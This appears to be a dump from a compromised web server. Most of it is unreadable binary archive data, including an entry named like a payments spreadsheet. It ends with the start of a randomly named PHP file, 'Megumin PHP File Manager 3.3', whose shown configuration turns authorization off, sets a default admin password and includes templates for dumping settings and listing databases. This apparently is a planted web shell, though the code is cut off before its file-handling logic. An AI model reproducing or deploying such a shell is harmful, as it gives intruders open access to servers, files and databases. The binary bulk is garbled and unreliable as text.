�������K�?ğ]�6�y���$���(��D5J+��8[��1��'�29��oX��1߀yA�6T��(h%h٢r�#@zD��ŗ��F�r��Z�ؖl�!�x\e���~JϹ랍�S@��\��#�6DM��qбg��o�T1意�
�]N *|�M'��u(�ƸA����t#�s	�$C���֋����p6��͖�%���Y�9I��f���6e]��B�ו[x�l��<+�U�}RO�DƤ|���
���oLᬏ��bu�;�Q:^0\��D�\U�����UA���G9���;+�'��5�P2��UO�)���W>핋[�r%߭�N6��N�^�~�a*�[H�Аy`�7%(hp��=�!������CDŽ�\��0cN7��.����[=Ux"�WP���Љ���NL��%�s՝��~�]$�����*9�mԊ�H�h%�h��15�>�S��Sz}Z�����k�����W2VrƇ@�oqF(6_���'��D�~&����CeR��e
%�-pEQ��e�5OV
	�y��_	�F�i=���1�$ ��k ��r�Q�5=��.���e��h�Q{=6�T,S�\_��j��Mm8Ⱥ��O��e�!�68K��n�N�9�f�m	�+2.S����
]g$a�>T�z����	Wt ��o¦T#�k�-'|ǚ�5�Z�H����H�F�X��.�>e�sBY�4��i}�QҦ�| Y���9��K˴BjcG���y|:�X�v�*��V�'���Y���	�¸�kC˙9!�����+)��6
�0�1��z���f��h��{}�>)�F�q�A$8Mg�y�p���|Y����Z?�V{�Y�t��|�vJyR
���}��Ā	h�@�N�����G�7��]� ��2YwI�D䝦6q����*F�ˇ�L� ���/�f��#G��b&�K�	�:{��p0ܜ6�eb|'0ʭ�UO�Y%�%Y7?ЗU$�s��T�|�C���Fed9�X�b�S�Ֆ��5�<�>��I��q�R�+�$C�~�_��Ӹs��/�r�=B�S�-��I�?�O�:��B�S�M3������ad��1�� _B� i��C��,[��9����
� ����0��i6B+#J9��P���^T��FH��[��"�ґ,��9οM����@Ǚ��H���>�^AƩ�Z&�w�|݁�UpP���"����C�:��m�F��PF���3	����Ck�p�C���cQ�g������[�O��L��N�������+&*d�W���W���܅-hɶH[�iT�t�(!e퀰���3f�Çi�ע�(�π�Ua˓�6�
��k�+��,�>�}bhx_�?{��9�
j���uGXDC�[�^�UrBS��� Ӑ}��M�\5G2[��fs`���x�/���.��跽'�tln@�G2Lf{$w��.8Vy!�ѝ6%��&$?P���c=͂�S:�nʐY2��',�1��}�N��{�l�e��Ug�^��[�y�N��9��Y������Awh���
���*&(��~i*R��;P�e���B�x��p2tPdƘ�Y�-7|MIE���념S��D��,)mύ������v��U?l6@�!u�_�
S�� ��}�$Y�%��'Y7��M?lP�*�:�!M-�C{���.MU��_��9�"�ʘ��ԭ��!҆)�M	���p�(���w�.Br|<�Y�,�L�*A��&��t�.�G�<jO�D���:J����n�Qu�h�I�*�c�ԏ)�C�2�2����O�����r�y�Sd؋�#0�d7B�>����_�'�"��V������`m��;xLsֻ��%x�.a���D�%�8H<�5�=��d���c�ݵ�\9jGO�|�'X���9M)�E��Q����D$w#~�@��^�c��b�DFQ��o��{ۣ��:��{8�-�=��G@O<� ���r6Bc���"�5Tx�!����L9�K�+����]%j�-@����
�8�Xoc�x,�9Cе����@���6�q�Dp_|�gL��9O��&5�6��$�{dk�~�h���o��z�P�6��(�Q��=�w�M� )hfp�����y¾�������U
&������(+1���~��1�X�U?�][�Lud���V#�V�P5�
��U�4#�JZ�R�@�y"�~Zr������آ<�˭D�mJ�\�٢a��sx�ڃf�B��iC�'�J���E>҈4�A��|l�<lDQ�m��@ϟ#ۤٽ���h����Y�<���I?-�lo"9TI�{ןr!)��u*����:z�H�,��/���ʈ���[��o�}v���h�/�0e�s�&z�tw���
�zC�Sx�ؑc�i�2�8`$b��s��XX����t�lE7� Y�e�J&>\B�K�w�F�Gv��V�������Qm�U��I��I�A�FY$'�S��*j�T�n��m��Q,Q P.Y��=45��lkY
�Il�[�z�JY]yǺJlV��iP��ߓS��S����ϟ��T�*���Q^��
�&�̑�|V�~�jK6LE%�H����^�L��E��
�OAŸ�)}��W"�1�J:-_�3�gI�N�x9nhf�1Tz�]]�o3�R�ee���Sj�;�Y��?~E]��ˉ�-�&k��3�Ն�Z�
�)��\��H����Ul���^��6���W<.]��@J�¡h8���c�^�y��Ne�l�oAP��~�@�Ł_W�Ij��W�]18�>��u^#F�gT�9�E-a��-�*�K��O<
���,H\\��|��Ua�I��Ňa͡:z���v��K��DN�f.�M�E����ly����m	/�h2T�Qc�DƓ�h�&0{�.�T�i'	��b*�NF
F;��p����/�VD�W�NB�,��Zq!�^���~�#*_��P�|�F�"�p���p$/'�r�v3c��N��gڒGpHGV[yy4���S%7��k�8j�^Ǧ�pv.Я��0{6P��:��g��W���s��w��C�S)���G-J�_��ZpDS�4�`C�N4�6��1}xf�шu�i^jy�HI0!.�ʑͽXqkG0�1�}�f�T13�-֣��\�0)봯D��34��6�����E�F�񝼢HN9f!���9ﰽ,�'�G����8V#m�{5�6@\FH�a�m%+�+���N��hf��c�W�^�H����K*����їߣ��Ύd����x>_�|��:#x'!�zCwF a��\��ܝ�h2C�2m���u+Tp_��8�	��g.iĻ3P�`��:�8�>	p��J�gT|`�>�ʓ2}ϑ�9�Z
G&�ۭo��J���7:��{��[B19�6Ecr�;�jf�"�A8�u�VKV�Q"�I�J�Hޔ ��İ#R4Ry
��D���}�
�{OPy��6�))vv�d���:�+!�{ol�������B�H��D`:i\�o�%��k��X���ɗ�?p݅-	�5��T�KL��R	Y&��W�Kokuq!<GfkzzE �+�٨�\�#�|r�S�o�8�s�X�o�����`$�`�:@r���������c,Y�s4#�w8ܞ�4��]"I�G��^ތ�)��ߥ����>O<��:2
di�y&f�%��{H�oo��e'x�Ik�LI��o�!�e�IX[�3���������$�4�`N�?�$����ϑ���C��p�"H
C�
MyU`:�@j�ړ��{��@^^h��ʪЕ!K�H��⏬�7��,w`�����1��r��3rxR��kd�����u�t�T&��}]�Z��{���s@�����f0���l��!4����|:	�d�j���j�$��L��Ua%uSz4M�i�D�E����"�ڈפ�K���a���:�s���R���!Ћ�A�i��'@n�r����pb-W�D��\S��Й)!��~�zE_&�,��EPR�J�C"��n���C�#R�%FBKʊ[T�֥�&Ju�y��ۤR�7�c��ϱr*���Ԁ�����!üX')`+���*�<��+���K;��.;��3׳4��^��m\Z�~9«,�kP�֖��OS'xg�ݔ3�[�y�q��5��˛�N%�N�rY${�єT;�-��CD���EO���iIץ�l�N��
��&�,�ɸ�k1��v�Og�_�!��o���}ˆ���B�V�$g�$�Y/����e�T�DZ��ǭV뻷�<!w}Y�����͆:i�Sjekq�Cr��i�����/��ɴ~�P?���}����_����3�>��#�l�5��Ő�}BF7��x���Ph>�\p�M�C#��7_����={`}
X/��ml"i�4bK�����C]6��H�Bލ�����w}�!CY�\NX��48�c�*���v\??{G�/�s��a�x���(�N�v
��D$8�	KZ '�g�_du�_��:�W��[�Q��/^9HS��cٝ6tYxц�1��%�9�@����Y��O0�� ��.��j�$zZ�����@��~]��Yt!cHI�7<��,�1�\E�~�8V/#S���Ϗ��Ȧ�G���I%���P�LQ���2��'Izr�y]0��,�e�IRzנQ����Ze�YQ[�sg�B�� �*Y`��⇮�ȕ~��`8����0W)e}n�R����"hQb	�U��n�_d�dj|��Z��-|f���|�8�O��Wu�ꪀk�N93������3Q{|��8��w
�U�BV $��-��Gbq-�s���`dl��	�$i�,/q�ƀHm�<����&�ꂢ���%�D�B��,p����DGk|��������	[fZ���)V�m�-�6�b�8f��ꐇe��[��[�Ȫ�V�Zf��˔��S�&�f ��cΤN�L`� ��	2���7����$m='$>$8+W�!!���|�B����	!��
�b��^�p(2�:�!r���7H}́	G�H����`L��/�e�(��sL&�3/D����x��
5��aZ�ۻ�c|\��Nj��nf�3-aEY1�Jv��?�&q��d�rF�ݸ�`�z��Q�L΅�LD��G>�����Q�N}t�BG-��-1��4��l�kr%�� ES�P���
��L�GA!0}��DJ%�\�)ܑ̀t����ǃ���ƅ'Y/cͨ�>���m-�i�Q�(fw�(7���-���h$� �G�������X55���X#-��낦 �!��8���g<��ž}ֱ8`+������$”�q�wLo�P�dU��I���,�!�pަ�R-X�
���T׵ы�Wk�?�q��u�y��=o���B�!?��ȷ�e��:�Q�p%Q�8�{d��Ҡ+“����V���6fc��QSF�i~(�����EW�M�)�=*l�"Υ�&���N�A;�����8a}ˈ�#l���	��H���4f����7b�)���\;�gD{�F^{����`0�y�P�г�0a�+�&�R��d����zT��[F(�0���"U ���PV��^���*����$)���������1��S�!\`��p�9�O ��h���*�V�67	XL4�q]�b=��"����\,��s��C2v�5]�ì�y0��������pxt|rz�����׫�o7�R�ْ۝�r�����Q7������R����/,.-ũ2B�b槦
%�YZ%�[QI%*8MM���[A�Pz�i�Y�e4'��*��'����~
So�Qn��^�4�ڒ�.4�e��FJ��y�q�V���_amM��Z���7��.Ac������PG�Y5�R5���xE�.�М�
F�U
�u�f�"�����"2��
�z������Vͺ5�n�Y�f٭%�V�jk��We�fIk�L]�/,��!��U�.�Ç��.��K��rX@�Y�@-���z�=��k�;�+�;
 N���{�'yO��a[���f�B��z|L��+�{�m�'��G�I[�����N��,n�w��RÂ|�����;����C]~�'J�MI�Bx���~O5V��Ȋ��"}ޘ�֍�����h��S�g��1�xA_ v2#����ϳeM�����1WAF��X�03�q���oh���5��g#�Z����a��c�o��S$��zf�~�����z�l��-li��+`���r����w�������;�J����Z_F8����S}
�[&�c3��L	�U_l���$b�H�׿^��,M��Y�Rl�H���_�^ɏ"�ºM)�&��b�Q�	��+�(�4��_����/�S�_헄��z�����U��b0��c��
�CIpT�a�`}�\V��D�/�E�T�<!����X�Ms���a����?x�r��d8�-��?eEE��ɱ�y�!�/����w�I@J��	�G����c?������tu*)�=���&�h �,k��SS�V���Jt��.�.���q�v]j�!�[1%�1��w	�P��,�����@=��"v��KLNq���_,�@���^UzR:����!������I�P`Z�Z9-yt��O�\�S|Oq��z8d��#��[|K�Q�řd8X��xYGz$b=>�����͋�H��?�+�ꏲ'�DQ8hp>DE���.�)�4�Ý@
�1�[�!v�=�(R�gP���&�I�vָ����dPް���4���2=7�� �lp�L�1��VzMccO!ƞ����e3+�"wB�^��w�gG�'���"�r����/��)³�=�����
�B���B
�+z���O�=]"�9U�4Y}��^����.?��t�s��W$0��Q�k�,X&�ZF��Ĝ��Χ5����f2������_�Ѽ&����ڧN���\Ht[?k�)������s����a�k�o����}vt� ����6�@�^"7f�cZ�
]�,=e�c
�
�O�F�Kd�h�D��c���M�ѓ
���iW6L	})}���k7�q]�(Z�N�)����5�x����Mfb��a��ǤGZ"���ɸ�~�Y�b�����~������=7�$���!�" AC��#G�F�7���#ԟ���Z!�\[���(A�L�
+�4�H(���qҖ��6��F1!5tE��峤K;�M���-�(�1�ɱcK�$��{H&u��
�:�d|Ŕ�IG�r3�	��S/h�Mq�&gBXn��i����+	Aw![}��p�-�,�-ıΒ�j���(Srz(^x†�3c��6�&�όa�hR�I���͘;���z8�KBNoD(x�[��N
:�rS�ЯԒp*���1ݚ�@�9\.�~���+�3��$��k,����K�/6��c�k=��O%a�Zˀv^e�������<��U:�PTI��&����I��ʳf\��3��_�ؚ����lx����!	f���w��p�&��'q�w�4:�͞fȮ��H4����>�w�e�}��W�ƙ��UxA�-6B�ߤ���A	7��jXQ|Ⱦ{1/~'���^2꟢�������1T]��Wb����q̿�`
��|cG
p����E�&M2�O5�r�i]�G��j�#9O1S��J��/��^>��(3c��\�����^h�x�<PX6؄dʚS#_3cD^�“�2�&Ac�DX�����;�����Y�,R�4�U���yDX�j�0�.h�V8^ �-�Y?ԅ����&kݽ=(	�k�m��Y���KFXr?fԪ���緘|��������N�ê��a��e5S��F��� ��A�̒GLRv�4��>�7V#u0fo)Ԯ`�tӉ�k:�j��8;$W�Wg��
�0G��I�+.ıL,~=�k9ձ�V��:��
�+m�)~�����}I�1"3����t_6�C��"D�N�&
{ڼ��eǻR�-K�C6U�K��
���v X����{9W��?���r�v7+�ZC#dU�)+�,�u�(��'�3=fL�:m��K;[s��U�o�ѡn
X�̷)��<�f����$�uL�
tX�*"e��}J`���SMO�'#h"��h��]�JB(p���$w��x��/QE�|`b�Q�V����b1�8So�-�V~��
Mf�N���߁cҊ�����z�1Ǩ���D��>W��-=e[�éme����iw�0Ap���x3����]��a̮��4���鐵a.=��-s�
4�;� ��lވ���H���<�s����3���CS�
��.���ٜ�q�1�@�H�r{pT�O��]g���v�Dk�l��C���{ha3���E��P�������#dKj�MD�>�-y(�����S�~O�z�q������ؾ�ң�X��4e��?�a��{��"H����8�����}�&Ա�#�V��]Ima����_�D=A���,�,N"jj 3�m��+K<�`�.߽�+u^��≐���K�LX��
TG�~�[�?�L�?
�K9����Y��N�,���@�]/ �������'1A6I�ͣ�I��w���7��聗��*A�X��`��i�	�h�\2h�J�7�����7`�'.�/�#\�$��-�3p�"�6�����!�`+%�JL!I߯���r����:`�ʕ��Ǖ+���d�Y[����ɒ�ҚR�^K!TEb^D�QG���0�����������@��8�|��
����J�)]��{��sL��~
.��=c��q�=�C�?F�`�V!;�5�����!����4�$� ����.����6nH�Z��TK�3�^��F�O���5R�y�2��c�#ĒPxҶ�4��=�(�����!�����T���f��F
���Ҥ�t#$Rd��/�Cx	%`���(��vvz�#H~ˮ3U+?��s��>��.�2:S%��п�7{�U��a�����.�����)��؃I�t��o�N0��y���W���ݤv,ˏ�I�ڔ�k�#�/B��ߚ�ʪ�[~���[���@����J�n{�Tv-�v��R%!+�#2	��~ߞ�#M��&���/�	V��`������jx��!J&��g]1e؇��Oï߹K)�2���$d�f��X�/�%E5Z�[]���Í�O���
��[,���ð��4�$� �EI�p�I$-����8�4ԤW���q���w����A$��R�����<�鴸�&/�-�7ްM�����[C&3ݕ�>��-�̂DZ�d�TTRa܊�Z��g;��c]�Gm*tA�3��lR�e:qo���3~��7��|�'h���J����6I2}��_Y+8^�v�ýc���zWt2���,��1��K-���Lm����!�`[潜��߉���_��{�p<��9����] 0�=A;�����2ӑ��}^������(���{J
��*�[�{&�RnX���K®�ǐ|��]wɂ�YR*C �l�����I�7x�I�C�;�R�H:R&�k��cOʼ�l��B�*"Ox݊I�KF�D�rҡ HjK�q������� .��
�E��^b`���]��a���Mp#&cW�f�w�s\�/j�#[��;�Z8�����������[Y�qR�8�
��$�'�	�3uK��5���c��I+�K�E�&�঻��=@�{GWZR+jUؔ��{�sK�?��X���b[P[�
@�W��;�үP��3ḇ� 
�.ТH44Ή��Q�f�&��9�Z���$JK}����J[iJ-M�j%]��펮
wJK��5X���'7����*B��^��RGi�R�I�
��Ei�6$��:���ԗ�5�~TTM�b�_�؅8�4Κ��̛���;Q�8�v�}�bw���;��y�au�6��	(�#���(�|?;��t*�d�3,X�m��N{-%���G�€��=J���Cc�s^Q��>֛ß_�D�	��6@����ƃ��΂_��9c�:��ӉE�Pg�Ɖ�yl��ͫ�����&8�3�D�4vA
�̕����F����-�pR
�f�nk~^"�E��c�����"�޸#q����E��ۂ�.,/�=��Q$��3�\H�U�����nJ*��x��;F
\�������f;��O�j��R�z
�O��ފ��c��q	� CY�I���8�A&���%����m̮�Q7���8�z!�4�t�qpO�NS���ު�m�!����f�d!Z���?�&�Sh�9H�o 2�͆<�L����"��� ��F`#T��+^��F��'�v"��!�1��	ASjʆ1H��o$ׯ�Ҷ�ؤ�RE@��Ԇ�ɸC���1�/8����Ցs/.���i�7x�8�2����5b�'�T�`���/p�X*$D�u���v=Y��&��9юA$�J$��ǟ��1�<��A����ٗ�4�#o\�
������Jy��l�+j[�9�$3n��थ�G4��O#`M����]rí�W&W&�wqNb��z��`* ��L�+�Y�Ms���8&�<ܤ�H�R�"�
d�謁Q}�^���~�=7�����n(��nrA��%kQ+�=�|LjƴגY�︁�����c�dbE��w_�@�!M?�;��3&�e�#Xj�
ˈ�Yҥ������FFxq���Ue
X�So�mn>�$�𤺴a�墺�?䃻J��#Ɂ��2�o��we�o�����49�Po��H!�n~��=��4�q,,nRQ$p��ϲ������&Θ�"D�_�<�ݒ�!��2H�j粋TI�7-ʄ�����z��A�Z�u0��!+S�A��Y0h�
;�G��>
��dc1�t���2|��_���RAE�D����YS�u���@���F�#�xe���Gz�Wz:/��{Q�ڱG�20��w�-.E+t��T���\O���V��ݺn~&=ȣAOk��cT	hQ'j��g�f�	ڴ���:8+�I��L�)<i)1T5�1����q����Q5��vR��.HA=ĺ��te��㽓j&;��o������Z	�H!u��!m�ef��r��l�B�$�\��(��5T��aKŚ�^�Vgvm��B�n!/�O�����������3,
PK!�d�0043s58b1/payments 2025-07-16 14-04-06.xlsx.xlsx.tar.gznu�[�����yeP�۶m���%�5�=@��M��HcA�<���@#�%Hp	�	�$�H��>��s��}�W�gvR�j��j�5�Zs
O7n///n[��#��Ё�v��q[��p�xX:��],|�@�w:>>ANaN^!:^N�������7�5�{��q^aAa������xx��x�w�3���p���o�hZ�H��:: ���H1Q��8F��cY�3�y��>. w.o'G]}�:yD��_�'�ũ�]�]�0��𑶤y��X�A�#�����6�$��R�������	��*D��S�[j>������
���+s&[�Zs_lG�VJ�s\YK"L��ݯ�x�=�2�ԔW:Ff���p�0S���?R�2�B����*�|h�y,ثv4�8m;��R���p
v��*ƗںƩ*���&ILNo���7L��1��CZ�F69{	��sb,��nG|��^�v�t
���:o�'�d�<���_l[�V�]�]Ͷ5U��T�N-����l8&&��*��]���Bki>D�f�k�%y+�Ų{RH>��}�s�yt�jVT��r�����^�r8E��2����=I���=fn Gwn�?�!q̾�;���ȷ�1�W!��}~3_=ڄ���ԺN�k��:�To\j�f^���x�B�t-��֗���&J��Y���!C��p~��6�ϙg�o�]�e�_�ŔnFZ����1�%��7�c��9�?���>�*3�Y�m��o�1^��XIo�4�M �h|�XJ�k�,��+���|��?����W@2���;�QĕA5rBi�@Ҍb>t4?&���gu��ݏ�4�ר�2�����P�G�ۑ��x��,�`�?��OA����
f���H�-��-�1)���l+�tףRz�^���W��1�t0y��6�V��HW����O`�����c�xL����;�n�L	�l.�'�*|����v��SM�������z��.��?!�ci�5`N���e�m�l�]:G5�ٽT	e�
���BQ4��}=�i�:���~�'�[i������g�:n��� �L�1�?�?�������9�ܧ�5HV9��,����
�r���Q�J�]i�%�v8	�/��3�rB���V�s�[���k�3r[
7soԧ����6h��O��I��wX�����~��e����%���p����0�?���g��V��>��lJ�2�H�z�^�Q�4��[3��~�ZY���dhס
�a�:w�{7߈k=��y�;`�9i���WA[�$���\$]��^Q?�;�Z�7U��M�[�p9���i��wjNd7�
��KObu�UQ-wB�!��Kox�1^��kI�tK2���JMEc}�(��̍�ʅ3Y�uL
�WN��1R�wIޢ��G ?���E��	�c�p7����O�����-x^]�����LU�:��x�%�Թ�m�F�T�c���o8�y5w�
�*�3�/���kh�ܡ��[>i��=o���������Dm�^���)��I������VgW'��J��;���:k���٨%u�յv�*����S#l>����o�J��a��v3�%����v�E�Ġ;t�(�
�uW�x&=v��ᑊ�E�K�q��V��4�n%2�Q�4!%8&�`+]~��:XE���'��$u)	`v�K��-6��.�S��	��z�WY�⥇A���z�"��o��2g�Ʉ��<����&-斉��8�%A_�!��4�ȗ��ś��d�P�ʢG�:�"h��_Ԇæ�jP_6��t��mIV^\k�7���_b�`^U�ܖ�̝]O�HQ�'}]��_�
A��.p�Iꌉ=����
P��rU���z��+I�	��m(@)՟��}�؂�@�y����P�$D��H�\���,&�e�0���Y6�QN��M�n���е+�b�v$pٓJbd�L��C���fEU��;��p&����hw�8���'H<-��Q�2D~@��>wq�p��p!4 ����3��j�~*g(�@��W)��r����i*#:�,��Ye��/�F��(<c�,���ν���)T���?��k�eg��G����h�3��"��U��iq��@��%�aq�CR�>����z���8�����I�{&�'(Z�d?�P��[=:�Ay� П��C��k�!dGBP��}�1�3I�	�zm�m�m�iws��ʪsU����F��M�qNJ���Ewʙ`s�i��a+��~w���E�v��s?$m(�
�Jn���|u�(��l��Pe`�9� ��+�_UM��<��V書3�(z���^z��`{q�c���f�d��݋uM�*���U��y�|����ӓ4��w7{5�,PQ_lT>|'�{�q������X)�N�	&7!�-�#�)"WH�guAVB��)�<���'z��f��=�8_g���Y�)Gh!�'Y�ک	���QKu���:x�M\'�x+�����KPQ�:H�Q�	C��x�H�
�Z}�v�*��K#o��E1��G�������19�j2�y�/ �~�k��g����z"B�1�RF�%IF�D:ƻ
�
�)z�gH%���t���n���UPCKq���PV�;u����
m�L9�sY� ΨIfoA�z�>��M띪�bfF�V+t���K�/�'W��POo5֏���A��������=���|V�|"�����5�
��.�y��������q�W�B\�_��}�+Un�.+ɡHR��n ��`,�񼄵}���2��a��z+j�d7�f��T��swɝ�����4�~��;0��V��~�EH�������D�� ��7�k���viߌ�*A��ZmF�mxp�
�z`2�[L�H5?���E��Ԝ1��!��T��F;�+ �ʹ�X}���b~�w���F`l�N�J�^z��ਫ਼�{�����m�={����ž.=S@��xI��q~��ۥ;^*_y�#�hᡬ�p�23�s��M]�>i�YQ��/��b���Ңi5��nX�r���Qe|>W%�F̕�)f��
�U9@T?Y1ѭ��qf�1�@E�����E� �Q��-��7�|��ơ�2�9{*�i�k�ĭ<:�r�2%�	tV�)����3�E���9fR�N�"Bq���|i��a)at�4��X��2,��egs"Y֌�*������G��[�G��ʝ29�_�H�붔���&�4>o��ěT��#�Vh���"�,e�RT�����E;J
�4�g��Z���6�M^���Y⦦h5I�K��!_�Zh�3�}��\�����牐o�_�}І5��~A�������n +]������_�CLc�	~'�M_�S���L~�h��kA~����oH���B�b�r�P�bWzWS�s�+���!�a1����εugƢ�뺓GJ��G͆s�$��x�W�~C.��-,�o?���zP��7<u�x�]"�{�D�}������Jx�z7��`�>~�~{v��gظ���
�Fo�D���~�6�g���G�.ʴ����.J��n�[�h�>���L�k���*�+�s��+�=d��ve�K�l��fŐ*�p�ݢ&����5ض8b�™�c�qߦSE�\�f�h�[/+.���ť�ե�fu��I�g�z�D$�Y3)��|q��C�	�4�a�|�m�K��)8�*0U?{׮�a|<���>��`�Ǭ������(������s��$_!������5�A/��at)�!q�|�f�_�Ds�(`��������E���J��Xv�#��P��с�,t~�S5I�mg#�練�[�X����ώY�%W��-�^��ht����~v���2��S�Mx�m�Pp͸;�g�9��akئQ��+���1l�i����jT��O�q&yb���Dn�U>*�㌯*��D^w�W3�`aI�2�7A���>r���E�����;�om������Y�=��G��'���a+�*�YI�{��]�ӏ�՟P���e7Ĝ=1��D�2+��Q�8	Sj7M�:����2�va�m򊋜:㳆?�C'?�̃<W�|�Z��#6��9q�r�.��by��ڥ��FN�D�
��ҽT�gh���2�4.�}�	��gJA|A�ʥ1}up6~��Y�p�Ӕ3�=#��D�T�u��k'}՗�N�X�U�NK�Xh$�W%��YZW��<�qt��O�B	�t�Ԅ�n�ëoy�R�G�1�?&���P�9�pB�p�*-)�r$��If�7vX�QkE�K���e�IW�{��˲of ?�d}��"���"�U%]�_����:�2>$��$��V񒼇Z�y�2�b�&B;��Nb@�W�䚫��B�_��(��7:��;���;�;?��ЪMI��e/-��8m?&���=�m�8Z�y)؂��'���R�v�!9jZ��-�w�ˆ�C�4�2�%���&/'wJ.������;��u��]stF�T(`�4�
bxw=	V�@�ƽ�>��_����������W����EA����&���t�5��Cq�lJ^"q7[H�r$��f�����O ���4l#@������Y.R����Iч����B�'>��#�q{3Z��TүG�V����YH����$}�����9����l2�w�_�~�7z�����9o~n���9�:���O�;���&�+|��.��D3�k�Њ��OuP��6�iLݾh<a�>���N��j�xXA��2���Jn^G�E_f�\i (S���Db����ձ��)�����4i�U5�N��B.�l�m���G%i���v/������jE�d���Oz����;s�Q���'9G�З0�P�f��>��ZP���Y-��]І��a���Gd��c�x�RLH�VD	�mc/B=zr�'__w����b$�������g$}����,4��C��㫨v���Q����1��pL5L�l9��&˺��7���<�*��t�7�']�<�꓃|\*Ӱ�g�[Ul�_��,�I�'}$Y�g��	�*�E�SH��0i
9�n�;W1�UэU�Jiw}��`�n��,�M��p��*�����Qu
�F,���^Dޞ��|��hE��?iծ�P��%�fw��5��Ǜo�0��.~k��VQ�aj���g��-q���_�YI��W�~������D=�0�%.+���lϹcH����nP��
�R&�C�b�@�A�"���t<�RϋR��7��>�mF=�<����'A	��bs�Ś�:���7��Z�9�]&�*?��S�2��5&M]q15�T�,S�E���[�	�o4��S�'Y����3���ڿs�7���>��.i���aיfX/�c����z��Q�q^x�݈OV��\�=wEH�a�����q)l�$'-er�Qw5��N�8��}ԣ
}μ �Y~�,%��i:z�cx���*���aR珥6��m]��j��O��M
����b��rXɢ��_MZ����8�߇y*.��o{-I�
ϱ�F
+K+3n"�JR���}��9�˙+�x*�4�Z������D�8�
,�x�:��� ��}ez,�dV��QM��Vqv�#���z~��f��a��j}�6V~���3!i'�u�F�^�U�fl�fB/�^3�
g��7HP}e(d�c�4�j#���]u:���&#���pŔ"������5��C�>��[O��0�鍶�D�V�� ��[����o�`[�7�;�����ڶƚ�몑
�!��W�? �=f�L+c���q�}�pZd$�]��[�X����^��ɳ�o�:ߍX<$υIP�h;w��h[�:w�����|1\<�������O��5S�Z�B�έ��k�!�|O�e����
����t��:�%�^	�~e�m>Aɇo�|�R�o�Vo�}�Խ����6�?BP$�����FU�j�;�hR7`E�.�+�y�K��%�r����(�+�;T�+�#�(Ӻve7m̿矠��ض�(����!���ؠ_���a��Z,�r4������*�e�o���2(�.+ML�����i�2~7+��/ޙ�!�cN^��D�yAhE!��@�[�Y���,�A�t�Ġsus:r씕 (��D�Tv�:ϴ���M6�Zc�E�p�,=��� �͖��������A�癶M�+V��p{���`zo�e*�P��X�0�2��g"���~��Q���FT��i��^?�+�!��U&�ĺ��(H�	���p��Z�&%ԧ���=)�Q��~�,�]��2 '_8��1��+�̈���I&��H�چ�U�ڪ
LoB�?W}�C�pʳג��8��� b��dRSUf��B��#��"
CMz�p�Z5E�l0���v�x���ʀ}{�.b�L+��2��x����݇Xh��fD�C�l�;$vo����GJuzْ��!��	�jLȿÎ8������F�r�7w�&8�_Ze#�]E��(B��xΤr�
P���"Ϧ����r�'�X۷�Y���@���夼�"?�N�K<yN�+*C��n�kjvC4f�d
��j�P2 hD�i��������0&L��	o�3c�=�!Ÿ�
�v�+r�Og��-�Z��$��mbmd�ȱД�G�Ԉ��d�^Q8��%Qۨz0N�/�Ѣߌ��jU`q8��R�1���3~^NS�K�ڛ/6��)�g�Ȉ髝=�yq6jX��%����T~�s��J?�W����~��ƀї�#Tѳ���0P���M y�@��\M��K<�v�ݕ���
=L��7�1�#�TF��F�Ł��A�;�&��^��?4J��P��,�0�mƅ�Ri$gX�;�@����y���M^▶�6'�R��
��g&/>(�݀�e�a��gn�`�X�e�o+Xy��ԖH�)B�ع�M�S�a�C��������t���㿄�^\Dz|���4�8�:	(�[paǷ����e�|���s�U�2�D
uI�f�4���l,�I++��`�>K[�+
� �$d� �9:+ljyBz��ncGqݵ�!�Ѽ�Un�C�|�'  "��;M�/����o��~U�~����IS���W��gǒ��/;����3���ߕ�߽U~�F�O}�w�_Ϫv������~=����G!�#���`�������Ϯ����7��;��#�ٹ��o������>?��R���ɤ������o�>������?���EO��&PK!��1��3s58b1/j0cye.phpnu�[���<?php





     /* Megumin PHP File Manager 3.3 */






 // File manager-neun daevice-ui pail-eul chajgo, bonae, mandeulgi wihan geos-ida

               
 
 
 
 
 $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';





 $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';

$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';

